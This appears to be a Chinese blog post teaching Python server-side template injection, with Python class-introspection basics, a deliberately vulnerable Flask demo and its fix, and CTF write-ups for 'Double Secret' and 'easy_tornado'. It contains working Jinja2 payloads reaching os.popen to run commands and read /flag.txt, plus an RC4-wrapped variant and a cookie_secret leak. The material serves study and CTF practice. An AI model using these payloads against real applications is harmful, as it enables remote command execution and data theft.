提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
前言
提示:这里可以添加本文要记录的大概内容:
SSTI(Server-Side Template Injection)服务端模板注入是CTF中常见的考点,最近做题的时候又做到了,对于SSTI现在有了更深入的了解,所以写下这篇文章做个关于Python的SSTI浅显的总结。
提示:以下是本篇文章正文内容,下面案例可供参考
一、SSTI是什么?
SSTI是服务端模板注入漏洞,了解过Python的一些Web开发知识,其中的Flask,Django这些MVC框架时,用户输入的变量被接收后通过Controller处理,最后通过渲染返回给了View即HTML页面,而模板引擎处理一些变量时,未经过任何的处理即被编译执行渲染,导致了一些代码执行,信息泄露等。比如使用render_template渲染函数时,未经过处理就对用户输入的变量做了解析变换。
比如:{{7*7}}被解析成了49
二、关于Python的类
1、__class__类
__class__主要用于查看变量所属的类,像一些常用的字符类,字典,元组,列表等。
s = [1, 2, 3]
print(s.__class__)
s = 'abc'
print(s.__class__)
s = {'Aiwin': 1}
print(s.__class__)
s = ({'Aiwin': 1}, [1, 2, 3])
print(s.__class__)
输出:
<class 'list'>
<class 'str'>
<class 'dict'>
<class 'tuple'>
2、bases
__bases__查看类所属的基本类,更多的一般是Object对象类,返回元组。
s = [1, 2, 3]
print(s.__class__.__bases__)
s = 'abc'
print(s.__class__.__mro__)
s = {'Aiwin': 1}
print(type(s.__class__.__bases__))
s = ({'Aiwin': 1}, [1, 2, 3])
print(s.__class__.__bases__[0])
输出:
(<class 'object'>,)
(<class 'str'>, <class 'object'>)
<class 'tuple'>
<class 'object'>
输出的是元组,可以使用[number]来获取第几个类,__mro__类可显示类和基类。
3、subclasses
__subclasses__用于查看当前类的子类,也可以通过[number]查看指定的值,返回的是列表。
s = ({'Aiwin': 1}, [1, 2, 3])
print(type(s.__class__.__bases__[0].__subclasses__()))
k=s.__class__.__bases__[0].__subclasses__()
for i in k:
print(i)
输出:
<class 'list'>
-----------------
<class 'type'>
<class 'weakref'>
<class 'weakcallableproxy'>
<class 'weakproxy'>
<class 'int'>
<class 'bytearray'>
<class 'bytes'>
<class 'list'>
<class 'NoneType'>
<class 'NotImplementedType'>
<class 'traceback'>
<class 'super'>
<class 'range'>
<class 'dict'>
<class 'dict_keys'>
<class 'dict_values'>
<class 'dict_items'>
<class 'dict_reversekeyiterator'>
<class 'dict_reversevalueiterator'>
<class 'dict_reverseitemiterator'>
<class 'odict_iterator'>
<class 'set'>
<class 'str'>
<class 'slice'>
<class 'staticmethod'>
<class 'complex'>
<class 'float'>
<class 'frozenset'>
<class 'property'>
<class 'managedbuffer'>
<class 'memoryview'>
<class 'tuple'>
<class 'enumerate'>
<class 'reversed'>
<class 'stderrprinter'>
<class 'code'>
<class 'frame'>
<class 'builtin_function_or_method'>
<class 'method'>
<class 'function'>
<class 'mappingproxy'>
<class 'generator'>
<class 'getset_descriptor'>
<class 'wrapper_descriptor'>
<class 'method-wrapper'>
<class 'ellipsis'>
<class 'member_descriptor'>
<class 'types.SimpleNamespace'>
<class 'PyCapsule'>
<class 'longrange_iterator'>
<class 'cell'>
<class 'instancemethod'>
<class 'classmethod_descriptor'>
<class 'method_descriptor'>
<class 'callable_iterator'>
<class 'iterator'>
<class 'pickle.PickleBuffer'>
<class 'coroutine'>
<class 'coroutine_wrapper'>
<class 'InterpreterID'>
<class 'EncodingMap'>
<class 'fieldnameiterator'>
<class 'formatteriterator'>
<class 'BaseException'>
<class 'hamt'>
<class 'hamt_array_node'>
<class 'hamt_bitmap_node'>
<class 'hamt_collision_node'>
<class 'keys'>
<class 'values'>
<class 'items'>
<class 'Context'>
<class 'ContextVar'>
<class 'Token'>
<class 'Token.MISSING'>
<class 'moduledef'>
<class 'module'>
<class 'filter'>
<class 'map'>
<class 'zip'>
<class '_frozen_importlib._ModuleLock'>
<class '_frozen_importlib._DummyModuleLock'>
<class '_frozen_importlib._ModuleLockManager'>
<class '_frozen_importlib.ModuleSpec'>
<class '_frozen_importlib.BuiltinImporter'>
<class 'classmethod'>
<class '_frozen_importlib.FrozenImporter'>
<class '_frozen_importlib._ImportLockContext'>
<class '_thread._localdummy'>
<class '_thread._local'>
<class '_thread.lock'>
<class '_thread.RLock'>
<class '_io._IOBase'>
<class '_io._BytesIOBuffer'>
<class '_io.IncrementalNewlineDecoder'>
<class 'nt.ScandirIterator'>
<class 'nt.DirEntry'>
<class 'PyHKEY'>
<class '_frozen_importlib_external.WindowsRegistryFinder'>
<class '_frozen_importlib_external._LoaderBasics'>
<class '_frozen_importlib_external.FileLoader'>
<class '_frozen_importlib_external._NamespacePath'>
<class '_frozen_importlib_external._NamespaceLoader'>
<class '_frozen_importlib_external.PathFinder'>
<class '_frozen_importlib_external.FileFinder'>
<class 'zipimport.zipimporter'>
<class 'zipimport._ZipImportResourceReader'>
<class 'codecs.Codec'>
<class 'codecs.IncrementalEncoder'>
<class 'codecs.IncrementalDecoder'>
<class 'codecs.StreamReaderWriter'>
<class 'codecs.StreamRecoder'>
<class '_abc._abc_data'>
<class 'abc.ABC'>
<class 'dict_itemiterator'>
<class 'collections.abc.Hashable'>
<class 'collections.abc.Awaitable'>
<class 'types.GenericAlias'>
<class 'collections.abc.AsyncIterable'>
<class 'async_generator'>
<class 'collections.abc.Iterable'>
<class 'bytes_iterator'>
<class 'bytearray_iterator'>
<class 'dict_keyiterator'>
<class 'dict_valueiterator'>
<class 'list_iterator'>
<class 'list_reverseiterator'>
<class 'range_iterator'>
<class 'set_iterator'>
<class 'str_iterator'>
<class 'tuple_iterator'>
<class 'collections.abc.Sized'>
<class 'collections.abc.Container'>
<class 'collections.abc.Callable'>
<class 'os._wrap_close'>
<class 'os._AddedDllDirectory'>
<class '_sitebuiltins.Quitter'>
<class '_sitebuiltins._Printer'>
<class '_sitebuiltins._Helper'>
<class 'MultibyteCodec'>
<class 'MultibyteIncrementalEncoder'>
<class 'MultibyteIncrementalDecoder'>
<class 'MultibyteStreamReader'>
<class 'MultibyteStreamWriter'>
<class 'itertools.accumulate'>
<class 'itertools.combinations'>
<class 'itertools.combinations_with_replacement'>
<class 'itertools.cycle'>
<class 'itertools.dropwhile'>
<class 'itertools.takewhile'>
<class 'itertools.islice'>
<class 'itertools.starmap'>
<class 'itertools.chain'>
<class 'itertools.compress'>
<class 'itertools.filterfalse'>
<class 'itertools.count'>
<class 'itertools.zip_longest'>
<class 'itertools.permutations'>
<class 'itertools.product'>
<class 'itertools.repeat'>
<class 'itertools.groupby'>
<class 'itertools._grouper'>
<class 'itertools._tee'>
<class 'itertools._tee_dataobject'>
<class 'operator.itemgetter'>
<class 'operator.attrgetter'>
<class 'operator.methodcaller'>
<class 'reprlib.Repr'>
<class 'collections.deque'>
<class '_collections._deque_iterator'>
<class '_collections._deque_reverse_iterator'>
<class '_collections._tuplegetter'>
<class 'collections._Link'>
<class 'types.DynamicClassAttribute'>
<class 'types._GeneratorWrapper'>
<class 'functools.partial'>
<class 'functools._lru_cache_wrapper'>
<class 'functools.partialmethod'>
<class 'functools.singledispatchmethod'>
<class 'functools.cached_property'>
<class 'warnings.WarningMessage'>
<class 'warnings.catch_warnings'>
<class 'contextlib.ContextDecorator'>
<class 'contextlib._GeneratorContextManagerBase'>
<class 'contextlib._BaseExitStack'>
<class 'enum.auto'>
<enum 'Enum'>
<class 're.Pattern'>
<class 're.Match'>
<class '_sre.SRE_Scanner'>
<class 'sre_parse.State'>
<class 'sre_parse.SubPattern'>
<class 'sre_parse.Tokenizer'>
<class 're.Scanner'>
<class 'typing._Final'>
<class 'typing._Immutable'>
<class 'typing.Generic'>
<class 'typing._TypingEmpty'>
<class 'typing._TypingEllipsis'>
<class 'typing.Annotated'>
<class 'typing.NamedTuple'>
<class 'typing.TypedDict'>
<class 'typing.io'>
<class 'typing.re'>
<class 'importlib.abc.Finder'>
<class 'importlib.abc.Loader'>
<class 'importlib.abc.ResourceReader'>
4、还用到过的一些类
__init__ 初始化类,返回是wrapper装饰器,即function
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身
__import__ 导入模块
__globals__ 获取函数空间下的module,方法,变量等
lipsum flask的方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块
__str()__ 返回描写对象的字符串
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在里面。
def add(a, b):
print(a + b)
print(add.__globals__)
print('---------')
s = ({'Aiwin': 1}, [1, 2, 3])
print(s.__str__)
class Person(object):
def __init__(self, name):
self.name = name
输出:
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x000001C95C206D00>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'C:\\Users\\25018\\PycharmProjects\\pythonProject3\\flask\\测试.py', '__cached__': None, 'add': <function add at 0x000001C95C24F040>}
---------
<method-wrapper '__str__' of tuple object at 0x000001C95C621740>
那么为什么需要类的知识呢,因为要通过SSTI注入漏洞来获取一些敏感信息甚至代码执行,需要利用这些各式的类或函数,执行危险的操作。
三、SSTI漏洞的简单复现
1,模板注入漏洞的条件:用户输入变量可控,使用了动态的模板
2,通过flask进行简单的复现
from flask import Flask, render_template, request, render_template_string
app = Flask(__name__)
@app.route("/", methods=['GET'])
def root():
example = request.args.get('example')
template = """
<html>
<head>
<title>SSTI-example</title>
</head>
<body>
<h1>Welcome,%s</h1>
</body>
</html>
""" % example
return render_template_string(template)
if __name__ == '__main__':
app.run(debug=True, host='127.0.0.1', port=8888)
存在SSTI模板注入,利用上面的类的方法构造进行一些危险操作。
{{config.class.init.globals['os'].popen('dir').read()}}
{{lipsum.globals.builtins.import('os').popen('dir').read()}}
lipsum是flask模块的方法,config是python的一个类,通过带入os模块,进行dir目录的读取泄露。构造的方法还有很多。
像上图的flask存在SSTI漏洞,因为存在用户可控的example变量且用了不固定的模板,假若进行一些处理,引用固定的模板,则SSTI则被防御住了。
from flask import Flask, render_template, request, render_template_string
app = Flask(__name__)
@app.route("/", methods=['GET'])
def root():
example = request.args.get('example')
return render_template("index.html",example=example)
if __name__ == '__main__':
app.run(debug=True, host='127.0.0.1', port=8888)
templates/index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>SSTI-example</title>
</head>
<body>
<h1>Welcome,{{example}}</h1>
</body>
</html>
四、CTF例题:[CISCN 2019华东南]Double Secret
1,进入题目:
2,进行目录扫描,扫出了/secret,/robots.txt,/console目录
进入console目录,发现需要ping码
进入robots.txt目录,提示这是Android ctf
进入/secret:
想起题目是 double secret,应当可以传一个secret参数,随便传secret值,发现出现flask错误且传出报错信息,应当是SSTI模板注入,查看一些操作信息,发现
File "/app/app.py", line 35, in secret
if(secret==None):
return 'Tell me your secret.I will encrypt it so others can\'t see'
rc=rc4_Modified.RC4("HereIsTreasure") #解密
deS=rc.do_crypt(secret)
a=render_template_string(safe(deS))
if 'ciscn' in a.lower():
return 'flag detected!'
return a
这里源码泄露,利用Key=HereIsTreasure进行RC4的解密,然后渲染进模板,所以这里构造的payload需要进行利用RC4加密后传入,可以构造:
{{config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read()}}
对flag进行读取
3,上网找个RC4加密的脚本进行加密后传入:
import base64
from urllib.parse import quote
def rc4_main(key="init_key", message="init_message"):
# print("RC4加密主函数")
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256))
# print("原来的 s 盒:%s" % s_box)
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
# print("混乱后的 s 盒:%s"% s_box)
return s_box
def rc4_excrypt(plain, box):
# print("调用加密程序成功。")
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
print("%s" % quote(cipher))
return str(base64.b64encode(cipher.encode('utf-8')), 'utf-8')
rc4_main("HereIsTreasure",
"{{config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read()}}")
五、关于RC4加密:
RC4加密:RC4(来自Rivest Cipher 4的缩写)是一种流加密算法,密钥长度可变。它加解密使用相同的密钥,因此也属于对称加密算法。RC4是有线等效加密(WEP)中采用的加密算法,也曾经是TLS可采用的算法之一。
RC4加密的流程:
(1)初始化向量S,按照升序,每个字节赋值0,1,2,3...255
(2)初始密钥,进行密钥轮转,直到填满,如密钥是HereIsTreasure,则H,e,r,e,l...,H..
(3)对状态向量S进行置换操作(即盒子的生成)
j=0
for i in range(256):
j=(j+S[i]+T[i])%256 #T[i]是密钥的值
s_box[i], s_box[j] = s_box[j], s_box[i]
(4) 最好进行密钥流的生成和加密
def rc4_encrypt(plain):
i=j=0
for s in plain:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
t = (S[i] + S[j]) % 256
k=S[t] #K就是当前生成的一个秘钥流中的一位
crypt_text=s^k #将密钥流的一位K和明文进行异或加密
六、[护网杯 2018]easy_tornado
Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。
1、进入题目
分别点击三个文件,会提示有 flag在/fllllllllllllag中,render,md5(cookie_secret+md5(filename))。
根据提示的render应该是SSTI模板注入,但是不知道cookie_secret在哪里
url=/file?filename=/flag.txt&filehash=0bf004631cb349b8f6ac11480a506007,再联想这里,filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filename))应该就可以获取到flag,但是注入点在哪里呢。随便使用模板语句看看。比如将filehash={{5*5}},会跳转到了Error页面,并且有msg参数,说不定能注入。但是应该输入什么能看到cookie_secret呢。上百度找会不会存在一些固定的访问对象。
其中有一个对象叫handler.settings,它指向了RequestHandler,RequestHandler->settings指向了self.application.settings等同于handler.settings->RequestHandler.application.settings,里面可以查看一些环境变量
import hashlib
s1 = '/fllllllllllllag'
s = 'e9a9245e-8547-4a74-b93e-cffeaa94c1fd3bf9f6cf685a6dd8defadabfb41a03a1'
h = hashlib.md5()
# h.update(s1.encode(encoding='utf-8')
h.update(s.encode(encoding='utf-8'))
print(h.hexdigest())
总结
对于SSTI模板注入,感觉套路都差不多,由于一些模板的错误配置和使用,能够通过一些固有的函数或者访问对象构造出间接或直接的访问到一些文件或者执行一些命令,从而导致了漏洞。
版权归原作者 Aiwin-Hacker 所有, 如有侵权,请联系我们删除。